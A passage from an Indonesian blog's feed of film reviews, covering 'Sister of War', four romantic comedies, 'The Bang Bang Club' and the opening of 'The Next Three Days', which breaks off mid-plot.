<p>Akhirnya Jepang memang menginvasi kamp di Vunapope. Mereka hampir saja membunuh dan menyakiti semua yang ada di dalam kamp, tapi Uskup Leo Scarmach maju sebagai penyelamat. Dengan bekal perlindungan yang diberikan oleh Hitler dia berhasil melunakkan hati kapten dan membatalkan misi pembantaian. Tapi, justru karena itu pula sang Uskup dianggap sebagai penghianat, mata-mata Jepang.</p>
<p>Sikap mendua tumbuh di dalam kamp, antara para perawat Australia dan para sister yang mengidolakan uskup Leo. Para perawat menganggap Leo menghianati mereka sementara para sister menganggap Leo-lah yang menyelamatkan mereka. Perpecahan tidak dapat dihindari.</p>
<p>Di dalam kondisi tertekan di dalam kamp, mereka juga juga tetap saling menguatkan, saling memberi semangat meski hari demi hari harapan mulai pupus. Perlahan-lahan rasa kebersamaan itu menumbuhkan perasaan senasib dan sepenanggungan, membuat mereka makin dekat satu sama lain.</p>
<div id="attachment_2186" class="wp-caption alignright" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/sister-of-war21.jpg"><img class="size-medium wp-image-2186" title="sister of war2" src="http://daenggassing.com/wp-content/uploads/2011/12/sister-of-war21-300x169.jpg" alt="" width="300" height="169" /></a><p class="wp-caption-text">Lorna dan Benerice yang asli</p></div>
<h3><strong>Kisah Persahabatan Dari Sebuah Perang</strong></h3>
<p>Kisah Sister Of War adalah sebuah kisah nyata yang diangkat dari kisah seorang perawat bernama Lorna Whyte dan seorang sister dari sebuah misi katolik bernama Berenice Twohill. Mereka bertemu dalam kamp di Vonapupe dan sama-sama merasakan beratnya berada di bawah kekuasaan Jepang yang kadang beringas, kejam dan tidak berperikemanusiaan.</p>
<p>Konflik utama dari kisah ini adalah bagaimana mereka berdua membangun sebuah ikatan yang kadang naik turun meski pada dasarnya tetap saling mencintai layaknya saudara perempuan. Hikmah terbesarnya adalah bagaimana sebuah kondisi perang yang carut marut malah bisa menumbuhkan rasa persaudaraan yang tulus dari dua orang manusia.</p>
<p>Dalam Sister Of War juga ditunjukkan bagaimana sebuah konflik emosional muncul ketika seorang tentara Jepang yang terkenal beringas itu ternyata bisa juga menunjukkan sisi manusiawinya. Sebuah pertanyaan, apakah mereka harus membantu sang tentara sebagai sesama manusia untuk menjadi lebih kuat agar bisa terus membantai mereka ?</p>
<p>Film berduasi 1:30 menit ini digarap cukup apik dengan penggambaran suasana perang dunia kedua yang nyaris rapih. Kekurangannya hanya pada penggalian konflik yang terasa kendor. Terlalu banyak konflik yang coba dimunculkan sehingga kemudian konflik utama jadi kurang tergali. Ini membuat muatan emosional Sister of War jadi agak kurang tergali.</p>
<p>Sebagai sebuah tontonan Sister Of War bisa jadi pilihan, penonton juga bisa menggali sebuah hikmah dari kejadian-kejadian yang digambarkan dalam film ini. Tapi anda tidak bisa berharap lebih, dua jam setelah menonton, film ini bisa saja terlupakan dan tidak terlalu membekas.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/" title="PERANG CINTA">PERANG CINTA</a> (8)</li><li><a href="http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/" title="pelecehan seksual dalam perang">pelecehan seksual dalam perang</a> (2)</li><li><a href="http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/" title="sister of war">sister of war</a> (2)</li><li><a href="http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/" title="film tentang pertempuran kapal">film tentang pertempuran kapal</a> (1)</li><li><a href="http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/" title="film tentara cinta">film tentara cinta</a> (1)</li></ul><div class="shr-publisher-2182"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fsister-of-war-cinta-di-tengah-perang%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/sister-of-war-cinta-di-tengah-perang/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>4 Drama Romantis Pengisi Waktu Luang</title>
		<link>http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/</link>
		<comments>http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/#comments</comments>
		<pubDate>Fri, 23 Sep 2011 07:00:09 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Film]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Bad Teacher]]></category>
		<category><![CDATA[Drama]]></category>
		<category><![CDATA[Just Go With It]]></category>
		<category><![CDATA[Love and Other Drugs]]></category>
		<category><![CDATA[No Strings Attached]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1924</guid>
		<description><![CDATA[Cinta adalah misteri yang sudah tersimpan seumur peradaban manusia Libur lebaran kemarin selain saya isi dengan silaturahmi dan kopdar, sekalian saya isi juga dengan memutar beberapa DVD. Lumayan sebagai pengisi waktu luang. Beberapa DVD di antaranya bergenre drama romantis, lumayanlah karena saya memang sedang malas untuk berpikir. Berikut ini adalah 4 film drama romantis yang [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><blockquote>
<h3>Cinta adalah misteri yang sudah tersimpan seumur peradaban manusia</h3>
</blockquote>
<p>Libur lebaran kemarin selain saya isi dengan silaturahmi dan kopdar, sekalian saya isi juga dengan memutar beberapa DVD. Lumayan sebagai pengisi waktu luang. Beberapa DVD di antaranya bergenre drama romantis, lumayanlah karena saya memang sedang malas untuk berpikir.</p>
<p>Berikut ini adalah 4 film drama romantis yang saya putar. Mari kita baca bagaimana pendapat saya.</p>
<div id="attachment_1925" class="wp-caption aligncenter" style="width: 510px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/filma-cameron-diaz-bad-teacher.jpg"><img class="size-full wp-image-1925" title="_filma-cameron-diaz-bad-teacher" src="http://daenggassing.com/wp-content/uploads/2011/09/filma-cameron-diaz-bad-teacher.jpg" alt="" width="500" height="278" /></a><p class="wp-caption-text">Bad Teacher</p></div>
<h2><strong>1. Bad Teacher</strong></h2>
<p><strong>Elizabeth Hasley</strong> ( Cameron Diaz ) adalah seorang guru pada sebuah SD di Amerika Serikat. Meski seorang guru namun pembawaannya sama sekali tidak menunjukkan diri sebagai seorang yang patut jadi teladan.</p>
<p>Awalnya Elizabeth hanya menjadikan profesi guru itu sebagai selingan karena sebentar lagi dia akan dinikahi tunangannya yang seorang lelaki kaya meski sebenarnya dia juga cuma hanya cinta hartanya. Garis hidupnya berubah ketika sang tunangan tahu akal busuknya dan kemudian memutuskan hubungan mereka dan batal untuk menikahi Elizabeth.</p>
<p>Terpaksalah Elizabeth kembali mengajar. Tingkahnya tetap tidak berubah, senang mengumpat, mengajar seenaknya, tidur di kelas, ?bahkan menghisap ganja di lingkungan sekolah. Satu hal yang menjadi obsesinya adalah mengumpulkan uang sebanyak-banyaknya untuk operasi plastik membesarkan dadanya sebagai alat untuk menarik pria kaya.</p>
<p>Sikap Elizabeth dan obsesinya itu menjadi latar utama konflik yang terbangun, termasuk pertemuannya dengan guru baru yang tampan bernama <strong>Scoot Delacorte</strong> ( Justin Timberlake ) yang juga ternyata cucu pemilik merek jam tangan mahal , Delacourte.</p>
<p>Film ini terlalu ringan, agak lemah di plot dan Cameron Diaz seperti bermain sendirian. Konflik yang dibangun juga tidak terlalu melibatkan emosi serta tidak pula menimbulkan kegelian. Plot semacam ini sudah jamak ditemukan di film-film sejenis. Nyaris tidak ada adegan <em>memorable</em> di film ini. Tidak terlalu bagus tapi cukup lumayan untuk sekadar mengisi waktu luang.</p>
<div id="attachment_1926" class="wp-caption aligncenter" style="width: 580px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/filmJustGoWithIt.jpg"><img class="size-full wp-image-1926" title="_filmJustGoWithIt" src="http://daenggassing.com/wp-content/uploads/2011/09/filmJustGoWithIt.jpg" alt="" width="570" height="400" /></a><p class="wp-caption-text">Just Go With It</p></div>
<h2><strong>2. Just Go With It.</strong></h2>
<p><strong>Danny Maccabee</strong> ( Adam Sandler ), secara tidak sengaja memergoki pengakuan calon istrinya yang telah berselingkuh dengan pria lain dan hanya menginginkan hartanya hingga Danny kemudian memutuskan untuk membatalkan pernikahan. Ketika dia sedang bersedih di sebuah bar dia menemukan sebuah senjata baru untuk menarik simpati para wanita, cincin kawin !</p>
<p>Akhirnya selama bertahun-tahun Danny menggunakan cincin kawin untuk menciptakan karakter seolah-olah dia adalah lelaki yang disakiti istri. Sangat potensial untuk menarik perhatian ?dan simpati para wanita yang kemudian dengan gampangnya dia giring ke tempat tidur.</p>
<p>Sebuah kesalahan kecil kemudian mengubah segalanya. Pertemuannya dengan seorang gadis sexy bernama <strong>Palmer</strong> ( Brooklyn Decker ) membuatnya harus mengubah strategi. Palmer tidak percaya pada cerita Danny dan meminta untuk bertemu dengan istrinya.</p>
<p>Danny yang kelabakan kemudian meminta asistennya di klinik bernama <strong>Katherine Murphy</strong> ?(Jennifer Aniston ) untuk pura-pura menjadi istrinya yang sebentar lagi akan diceraikan. Awalnya rencana berjalan mulus sebelum akhirnya sebuah insiden kecil kembali terjadi. Satu kebohongan harus diikuti oleh kebohongan-kebohongan lainnya, dan itulah yang terjadi.</p>
<p>Ketika kebohongan-kebohongan itu terus berlanjut, Danny kemudian menyadari kalau ternyata bukan Palmer cinta sejatinya. Endingnya mungkin bisa anda tebak, khas film-film drama romantis lainnya.</p>
<p>Film ini lumayan menurut saya. Kekuatan karakter yang dibawakan oleh Adam Sandler bersaing dengan kekuatan karakter yang diperankan Jennifer Aniston, membuat karakter Palmer memang terasa sebagai pelengkap saja. Banyak adegan lucu dan menggelikan dalam film ini, meski jalan ceritanya mudah ditebak tapi tak urung kita juga akan dibuat gemes oleh jalan ceritanya dan akan menebak-nebak kebohongan apalagi yang akan dibuat Danny .</p>
<div id="attachment_1927" class="wp-caption aligncenter" style="width: 607px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/filmNo-Strings-Attached-Sex-Friends-Affiche.jpg"><img class="size-full wp-image-1927" title="_filmNo-Strings-Attached-Sex-Friends-Affiche" src="http://daenggassing.com/wp-content/uploads/2011/09/filmNo-Strings-Attached-Sex-Friends-Affiche.jpg" alt="" width="597" height="459" /></a><p class="wp-caption-text">No String Attached</p></div>
<h2><strong>3. No String Attached</strong></h2>
<p><strong>Emma</strong> (Natalie Portman ) dan <strong>Adam Franklin</strong> ( Aston Kutcher ) adalah teman masa kecil yang terpisah lama dan bertemu kembali ketika mereka dewasa. Awalnya tidak ada apa-apa di antara mereka sampai pada suatu saat ketika Adam yang depresi mendapati kenyataan mantan pacarnya ternyata menjalin hubungan dengan ayahnya.</p>
<p>Adam yang mabuk berat terbangun dengan keadaan bugil di apartemen Emma yang juga diisi oleh teman-teman lainnya. Cerita kemudian bergulir, mereka sepakat untuk menjadi <em>sex buddy</em> tanpa ada ikatan cinta sama sekali. Beragam aturan dasar mereka terapkan, intinya mereka hanya akan bertemu ketika mereka masing-masing saling membutuhkan pelampiasan hasrat.</p>
<p>Tapi cinta memang susah ditebak. Tanpa sadar, benih-benih cinta tumbuh di antara mereka. Adam yang pertama menunjukkannya, dan dengan cepat membuat Emma ketakutan. Karena panik dan ketakutan, Emma memilih untuk menjauhi Adam sesuai dengan kesepakatan awal mereka. Saat berjauhan Emma baru menyadari kalau ternyata dia juga mencintai Adam. Persoalannya kemudian adalah, bagaimana dia mengakuinya ?</p>
<p>Duet Asthon Kutcher dan Natalie Portman adalah titik pusat di film ini. Tidak ada yang baru dalam <strong>No String Attached</strong>, sudah banyak film yang berkisah tentang usaha manusia mengingkari rasa cinta yang tumbuh dalam diri mereka. Kelebihan film ini hanya terletak pada penampilan dua bintang yang memang terkenal sexy ini.</p>
<p><strong>No String Attached</strong> meski tidak terlalu spesial tapi cukup menghibur. Bolehlah menjadi pilihan di waktu santai, apalagi bila ditonton bersama pasangan.</p>
<div id="attachment_1928" class="wp-caption aligncenter" style="width: 635px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/filmlove-and-other-drugs-8875-1440x900.jpg"><img class="size-large wp-image-1928" title="_filmlove-and-other-drugs-8875-1440x900" src="http://daenggassing.com/wp-content/uploads/2011/09/filmlove-and-other-drugs-8875-1440x900-1024x640.jpg" alt="" width="625" height="391" /></a><p class="wp-caption-text">Love and Other Drugs</p></div>
<h2><strong>4. Love and Other Drugs.</strong></h2>
<p><strong>Jamie Randall</strong> ( diperankan Jake Gyllenhaal ) awalnya adalah seorang pramuniaga di toko elektonik. Pembawaannya yang santai dan flamboyan banyak menarik perhatian pembeli khususnya kaum hawa. Sayangnya dia terlalu berani. Kepergok berhubungan seks dengan pacar managernya di gudang membuatnya harus meninggalkan pekerjaan itu.</p>
<p>Belakangan Jamie mendapat pekerjaan sebagai sales obat di Pfizer. Pekerjaan yang juga diperolehnya setelah memberikan kesenangan kepada atasannya yang seorang perempuan.</p>
<p>Pekerjaan sebagai sales obat mempertemukannya dengan <strong>Maggie Murdock</strong> ( Anne Hathaway ) seorang gadis muda nan cantik tapi menderita parkinson. Dari sebuah ketidaksengajaan mereka kemudian menjadi akrab. Maggie yang tahu kekurangannya selalu berusaha membuat batas agar tidak sampai jatuh cinta pada Jamie. Di sisi lain, meski tahu Maggie penderita parkinson Jamie tetap berusaha untuk mendapatkan cintanya.</p>
<p>Usaha Jamie tidak sia-sia. Dengan perjuangan yang berat Maggie akhirnya menyerah dan menerima cinta Jamie. Sampai di sini cerita belum berakhir. Konflik yang terbangun berpusat pada penyakit parkinson yang diderita Maggie serta usaha Jamie untuk membantunya sembuh. Pelengkap konflik adalah keberhasilan Jamie menjadi sales untuk obat viagra yang baru saja diluncurkan hingga membuatnya berada di persimpangan. Pindah ke New York untuk karir yang lebih tinggi dan meninggalkan Maggie atau tetap di kota kecil itu untuk menemani Maggie berobat ?</p>
<p>Di antara keempat film yang saya sebut di atas, <strong>Love and Other Drugs</strong> menurut saya yang terbaik. Drama dan konflik yang terjalin lumayan rapih dan menyentuh. Film yang diangkat dari buku non fiksi berjudul : <strong><em>Hard Sell: The Evolution of a Viagra Salesman</em></strong>?ini menunjukkan bagaiman rasa cinta mengubah seorang lelaki playboy menjadi seorang laki-laki penuh belas kasihan yang berjuang keras menyembuhkan wanita yang dicintainya.</p>
<p>Akting Jake Gyllenhaal yang sebelumnya terkenal lewat perannya sebagai koboi homo di <strong>Brokeback Mountain</strong> cukup piawai dan untungnya diimbangi oleh peran Anne Hathaway yang di film ini terlihat lebih kurus. Bukan film yang cocok jika anda benar-benar ingin bersantai, tapi bisa jadi pilihan ketika anda merasa perlu merenungi sesuatu.</p>
<p>Itulah empat film yang sempat saya habiskan selama libur lebaran kemarin. Ada benang merah dari keempat film tersebut yaitu, <strong>bagaimana cinta kadang memang penuh misteri</strong>. Kita tidak pernah tahu kapan dia datang dan kepada siapa dia datang, tapi ketika dia datang kita hanya perlu meresapinya tanpa perlu menanyakannya.</p>
<p>Bagaimana menurut anda ?</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/" title="drama romantis">drama romantis</a> (44)</li><li><a href="http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/" title="film drama romantis terbaik">film drama romantis terbaik</a> (9)</li><li><a href="http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/" title="film drama romantis">film drama romantis</a> (6)</li><li><a href="http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/" title="film drama romantis 2011">film drama romantis 2011</a> (5)</li><li><a href="http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/" title="no string attached cerita singkat">no string attached cerita singkat</a> (4)</li></ul><div class="shr-publisher-1924"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F09%2F4-drama-romantis-pengisi-waktu-luang%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/09/4-drama-romantis-pengisi-waktu-luang/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>The Bang Bang Club : Tentang Foto dan Trauma Yang Mendalam</title>
		<link>http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/</link>
		<comments>http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 03:11:58 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Film]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Kevin Carter]]></category>
		<category><![CDATA[Pulitzer]]></category>
		<category><![CDATA[The Bang Bang Club]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1916</guid>
		<description><![CDATA[Jangan jadi fotografer kalau tidak kuat mental Benua Afrika sejak bertahun-tahun yang lalu selalu menjadi perhatian dunia. Afrika ibarat kuali yang panas, benua kaya yang selalu jadi rebutan orang-orang dari seberang. Jejak pertikaian itu terus tertanam, pertikaian yang bahkan selalu meminta korban jiwa bertahun-tahun setelah masa kolonialisme secara tersirat dikatakan berakhir. Periode awal 1990an, dua [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1917" class="wp-caption aligncenter" style="width: 631px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/The_Bang_Bang_Club_movie_image1.jpg"><img class="size-full wp-image-1917 " title="The_Bang_Bang_Club_movie_image1" src="http://daenggassing.com/wp-content/uploads/2011/09/The_Bang_Bang_Club_movie_image1.jpg" alt="" width="621" height="354" /></a><p class="wp-caption-text">The Bang Bang Club</p></div>
<blockquote>
<h3><strong>Jangan jadi fotografer kalau tidak kuat mental</strong></h3>
</blockquote>
<p>Benua Afrika sejak bertahun-tahun yang lalu selalu menjadi perhatian dunia. Afrika ibarat kuali yang panas, benua kaya yang selalu jadi rebutan orang-orang dari seberang. Jejak pertikaian itu terus tertanam, pertikaian yang bahkan selalu meminta korban jiwa bertahun-tahun setelah masa kolonialisme secara tersirat dikatakan berakhir.</p>
<p>Periode awal 1990an, dua kubu di Afrika Selatan saling membunuh satu sama lain. Hanya karena perbedaan pandangan politik mereka turun ke jalan, menghunus parang dan saling serang. Afrika Selatan ibarat kuali dengan suhu mendidih. Di sanalah kemudian beberapa jurnalis kulit putih mencari momen yang tepat membingkai perseteruan itu, mengabarkannya ke dunia serta tentu saja mengisi kantong mereka dengan uang.</p>
<p>Tersebutlah 3 orang jurnalis foto pada harian The Star, mereka adalah <a title="Kevin Carter" href="http://en.wikipedia.org/wiki/Kevin_Carter">Kevin Carter</a>, <a title="Ken Oosterbroek" href="http://en.wikipedia.org/wiki/Ken_Oosterbroek">Ken Oosterbroek</a>, dan <a title="Jo?o Silva (photographer)" href="http://en.wikipedia.org/wiki/Jo%C3%A3o_Silva_%28photographer%29">Joao Silva</a> ketiganya kemudian secara tidak resmi membentu sebuah klub yang mereka beri nama <a href="http://daenggassing.com/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/"><strong>The Bang Bang Club</strong></a>. Nama yang secara tersirat menggambarkan kecanduan mereka pada situasi genting, situasi di mana desingan peluru, sabetan senjata tajam, luka menganga dan tangis kehilangan adalah makanan sehari-hari. Belakangan <a title="Greg Marinovich" href="http://en.wikipedia.org/wiki/Greg_Marinovich">Greg Marinovich</a>, seorang fotografer <em>freelance</em> kemudian bergabung dan menggenapkan anggota klub ini menjadi 4 orang.</p>
<div id="attachment_1918" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/bangbang_greg_fotoi-jpg.jpeg"><img class="size-medium wp-image-1918" title="_bangbang_greg_fotoi-jpg" src="http://daenggassing.com/wp-content/uploads/2011/09/bangbang_greg_fotoi-jpg-300x197.jpg" alt="" width="300" height="197" /></a><p class="wp-caption-text">Foto Greg yang memenangkan hadiah Pulitzer</p></div>
<p>Di antara keempatnya, Greg bisa dibilang yang paling nekat. Nyaris tanpa perhitangan sama sekali, dia kadang menjatuhkan dirinya ke dalam medan perang yang sesungguhnya, hanya berjarak beberapa meter dari maut. Kenekatan itu pula yang kemudian diganjar dengan <strong>Pulitzer Prize</strong> &#8211; hadiah paling bergengsi untuk para jurnalis &#8211; pada tahun 1990 untuk sebuah karya fotonya yang fenomenal.</p>
<p>3 tahun kemudian giliran Kevin Carter yang meraih penghargaan Pulitzer. Foto yang dramatis tentang seorang anak perempuan pengungsi Sudan yang kelaparan dan diintai seekor burung bangkai menjadi buah bibir di mana-mana. Kejadian di balik foto ini menjadi perdebatan tentang bagaimana sikap seorang jurnalis menghadapi situasi seperti itu, apakah membiarkan si anak kelaparan atau melakukan sesuatu untuk menolongnya ? Perdebatan yang ternyata membuat Kevin makin depresi.</p>
<p><a href="http://daenggassing.com/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/"><strong>The Bang Bang Club</strong></a> menceritakan bagaimana kisah di balik terciptanya foto-foto luar biasa itu beserta ratusan foto lainnya. Menjadi seorang jurnalis di tengah situasi panas oleh konflik tentu bukan hal yang mudah. Hati nurani akan terus terusik sementara di sisi lain kode etik jurnalisme harus terus dijunjung tinggi. Mereka adalah orang-orang yang terjebak dalam situasi tidak nyaman, hati mereka berperang dengan tuntutan tugas. Dalam beberapa situasi, kejadian-kejadian yang mereka rekam kemudian menetap dalam waktu lama dalam memori mereka bahkan hingga mengguncang kejiwaan mereka.</p>
<div id="attachment_1919" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/09/bangbangclub_pulitzer_94_500.jpg"><img class="size-medium wp-image-1919" title="_bangbangclub_pulitzer_94_500" src="http://daenggassing.com/wp-content/uploads/2011/09/bangbangclub_pulitzer_94_500-300x187.jpg" alt="" width="300" height="187" /></a><p class="wp-caption-text">Foto Kevin, peraih Pulitzer yang justru membuatnya depresi</p></div>
<p>Salah satu korbannya adalah <strong>Kevin Carter</strong>. Setelah publikasi fotonya yang luar biasa menyentuh itu, semua orang kemudian menanyakan nasib si anak perempuan dalam foto tersebut. <strong>St. Petersburgh Times</strong> di Florida bahkan menyebut kalau Carter tidak ada bedanya dengan burung bangkai itu. Dia hanya peduli pada frame dan sama sekali tidak peduli pada nasib si anak perempuan. Tudingan ini menambah daftar alasan untuk depresi pada sosok Kevin Carter selain berderet alasan lain yang sudah terekam dalam ingatannya.</p>
<p>Puncaknya, pada 27 Juli 1994 Carter menghabisi nyawanya sendiri . Catatan bunuh dirinya menjadi bukti kalau dia sama sekali tidak bisa bertahan lagi dari segala macam trauma yang melekat selama masa pengabdiannya sebagai fotografer, ditambah lagi dengan kepergian temannya Ken yang meninggal dalam tugas.</p>
<p><strong><em>Dari sisi sinematografi</em></strong></p>
<p><a href="http://daenggassing.com/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/"><strong>The Bang Bang Club</strong></a> seharusnya menjadi semacam dokumentasi tentang kejadian di balik layar terciptanya ratusan foto menyentuh dari sebuah perang saudara di tanah Afrika di awal tahun 1990an. Dalam beberapa aspek, film ini cukup berhasil.</p>
<p>Departemen artistik bekerja keras untuk membawa gambaran Afrika Selatan yang keras dan panas di awal tahun 1990an. Beberapa <em>scene</em> dihadirkan lewat potongan gambar yang terasa begitu nyata dan dengan dengan gambar yang artistik dan enak dilihat. Emosi penonton digiring perlahan untuk ikut merasakan kerasnya pertikaian antar suku di AfSel waktu itu.</p>
<p>Meski begitu saya merasa masih ada yang kurang. Beberapa momen terkesan agak datar sehingga kemudian emosi penonton tidak terlalu dilibatkan. Entah, mungkin bila digarap dari <em>angle</em> yang berbeda momen tersebut bisa sangat menyentuh. Saya secara tidak sadar membandingkannya dengan <strong>Hotel Rwanda</strong>, sebuah film yang sama-sama diangkat dari kisah kejadian nyata tentang konflik horisontal di Afrika.</p>
<p>Film ini sudah cukup berusaha keras menghadirkan nuansa pertikaian serta konflik humanis dari para fotografer yang berada di garis depan. Karakter Kevin Carter yang digambarkan seakan punya dua kepribadian berhasil diperankan dengan baik oleh Taylor Kitsch, sementara karakter utama Greg Marinovich terlihat sedikit kendor di tangan Ryan Philippe meski sama sekali tidak buruk.</p>
<p>Secara umum film ini bisa saya bilang cukup nyaman untuk dinikmati meski menurut saya muatan emosi yang terkandung seharusnya bisa lebih dalam dikaji dan ditampilkan. Setidaknya film ini membawa kita lebih jauh menilik perjuangan emosi para jurnalis perang yang harus terbiasa melihat sajian darah dan kekerasan di depan mata mereka demi menjalankan tugas.</p>
<p>Bila tak kuat mental, memang sebaiknya menghindari profesi sebagai fotografer atau jurnalis. Apalagi mereka yang bertugas di garis depan. Catatan terakhir dari Kevin Carter secara tersirat menyiratkan kondisi itu. Kondisi di mana dia sangat depresi karena tekanan trauma yang menetap selama bertahun-tahun.</p>
<blockquote><p><em>&#8220;I am depressed &#8230; without phone &#8230; money for rent &#8230; money for child support &#8230; money for debts &#8230; money!!! &#8230; I am haunted by the vivid memories of killings and corpses and anger and pain &#8230; of starving or wounded children, of trigger-happy madmen, often police, of killer executioners &#8230; I have gone to join Ken </em><em>if I am that lucky.&#8221;</em><em></em></p></blockquote>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/" title="bang bang club">bang bang club</a> (49)</li><li><a href="http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/" title="the bang bang club">the bang bang club</a> (44)</li><li><a href="http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/" title="greg fotografer">greg fotografer</a> (13)</li><li><a href="http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/" title="bang-bang club">bang-bang club</a> (7)</li><li><a href="http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/" title="greg pulitzer">greg pulitzer</a> (5)</li></ul><div class="shr-publisher-1916"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F09%2Fthe-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/09/the-bang-bang-club-tentang-foto-dan-trauma-yang-mendalam/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>The Next Three Days ; Perjuangan Demi Cinta</title>
		<link>http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/</link>
		<comments>http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 04:07:34 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Film]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Russel Crowe]]></category>
		<category><![CDATA[The Next Three Days]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1814</guid>
		<description><![CDATA[Ketika orang yang anda cintai terlibat dalam satu masalah, sebesar apa pengorbanan yang akan anda lakukan agar anda bisa kembali bahagia bersamanya ? Pasangan John Brennan ( Russel Crowe ) dan Lara Brennan ( Elizabeth Banks ) adalah warga Amerika biasa. John adalah seorang pengajar biasa dan istrinya wanita karir. Mereka punya seorang anak lelaki [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1815" class="wp-caption aligncenter" style="width: 641px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/the-next-three-days.jpg"><img class="size-full wp-image-1815" title="the-next-three-days" src="http://daenggassing.com/wp-content/uploads/2011/08/the-next-three-days.jpg" alt="" width="631" height="419" /></a><p class="wp-caption-text">The Next Three Days</p></div>
<blockquote>
<h3><strong>Ketika orang yang anda cintai terlibat dalam satu masalah, sebesar apa pengorbanan yang akan anda lakukan agar anda bisa kembali bahagia bersamanya ?</strong></h3>
</blockquote>
<p>Pasangan John Brennan ( Russel Crowe ) dan Lara Brennan ( Elizabeth Banks ) adalah warga Amerika biasa. John adalah seorang pengajar biasa dan istrinya wanita karir. Mereka punya seorang anak lelaki bernama Luke. Kehidupan rumah tangga mereka juga digambarkan sebagai kehidupan yang tenang dan hangat.</p>
<p>Tapi kemudin hidup mereka tidak pernah sama lagi ketika suatu pagi rumah mereka didobrak polisi yang segera menciduk Lara. Lara dituduh membunuh bossnya, seorang wanita yang malam sebelumnya memang terlibat pertengkaran hebat dengan Lara. Sang boss ditemukan meninggal di parkiran dan semua bukti serta saksi mata mengarah ke Lara.</p>
<p>Lara mendekam di penjara, meninggalkan John dan anak semata wayang mereka. Selama 3 tahun John tidak pernah menyerah dan terus berusaha mencari jalan untuk membebaskan istrinya yang dia yakini tidak bersalah. Jalur hukum dan legal yang ditempuhnya ternyata mentok, sang pengacara pesimis dan mulai menyerah.</p>
